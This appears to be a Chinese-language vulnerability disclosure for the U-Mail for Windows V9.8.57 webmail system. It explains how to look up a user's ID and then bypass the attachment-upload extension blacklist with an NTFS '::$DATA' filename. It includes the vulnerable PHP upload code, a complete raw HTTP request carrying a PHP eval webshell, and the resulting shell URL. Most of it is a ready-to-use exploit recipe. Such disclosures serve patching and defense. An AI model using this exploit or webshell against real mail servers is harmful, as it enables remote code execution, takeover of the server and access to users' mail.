### 简要描述：
U-mail邮件系统某处处理不当，导致getshell
### 详细说明：
版本：U-Mail for Windows V9.8.57
测试帐号：hello0001@fuck.com
测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]
首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\
获取用户id的接口为
http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=
1&keyword=hello0001
[<img src="https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png" alt="a.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png)
得知userid为3
上传缺陷
漏洞文件，umail\WorldClient\html\client\mail\module\o_attach.php
代码
```
if ( ACTION == "attach-upload-batch" && $_FILES )
{
$file_name = $_FILES['Filedata']['name'];
$file_type = $_FILES['Filedata']['type'];
$file_size = $_FILES['Filedata']['size'];
$file_source = $_FILES['Filedata']['tmp_name'];
$path_target = getusercachepath( );
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
$res_data = array( );
foreach ( $file_source as $k => $v )
{
$file_id = makerandomname( );
$file_suffix = getfilenamesuffix( $file_name[$k] );
if ( in_array( $file_suffix, $not_allow_ext ) )
{
$res_data[] = array(
"status" => "0",
"message" => el( "不支持该扩展名文件上传", "" ),
"filename" => $file_name[$k],
"filesize" => $file_size[$k],
"file_id" => $file_id
);
}
else
{
$file_target = $path_target.$file_id.".".$file_suffix;
if ( !move_uploaded_file( $v, $file_target ) )
{
$res_data[] = array(
"status" => "0",
"message" => el( "写入文件出错，请与管理员联系！", "" ),
"filename" => $file_name[$k],
"filesize" => $file_size[$k],
"file_id" => $file_id
);
}
else
{
$res_data[] = array(
"status" => "1",
"filename" => trim( $file_name[$k] ),
"filesize" => $file_size[$k],
"file_id" => $file_id
);
$_SESSION[SESSION_ID]['attach_cache'][] = array(
"id" => $file_id,
"name" => $file_name[$k],
"type" => "1",
"path" => $file_target,
"size" => $file_size[$k]
);
}
}
}
dump_json( $res_data );
}
```
之前版本允许传php文件，最新版采用了黑名单机制，不允许传php文件，无法绕过其后缀检测。但是利用NTFS的ADS特性，可以绕过其黑名单机制，如图
发送邮件，选择拖拽添加附件，burpsuite拦截包，修改文件名为s.php::$DATA即可绕过，如图
```
POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1
Host: mail.fuck.com
Proxy-Connection: keep-alive
Content-Length: 233
Origin: http://mail.fuck.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh
Accept: */*
Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-compose
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff
------WebKitFormBoundary37jD3r27mTgTBrAh
Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);?>
------WebKitFormBoundary37jD3r27mTgTBrAh--
```
[<img src="https://images.seebug.org/upload/201412/06171602a27d022d91e685530ed808e45bab64bb.png" alt="b.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171602a27d022d91e685530ed808e45bab64bb.png)
则获得的webshell地址为 http://mail.fuck.com/webmail/client/cache/3/14178435495.php
[<img src="https://images.seebug.org/upload/201412/06171654621ee8f2faee56b9816b76a29ad810f1.png" alt="c.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171654621ee8f2faee56b9816b76a29ad810f1.png)
### 漏洞证明：
如上
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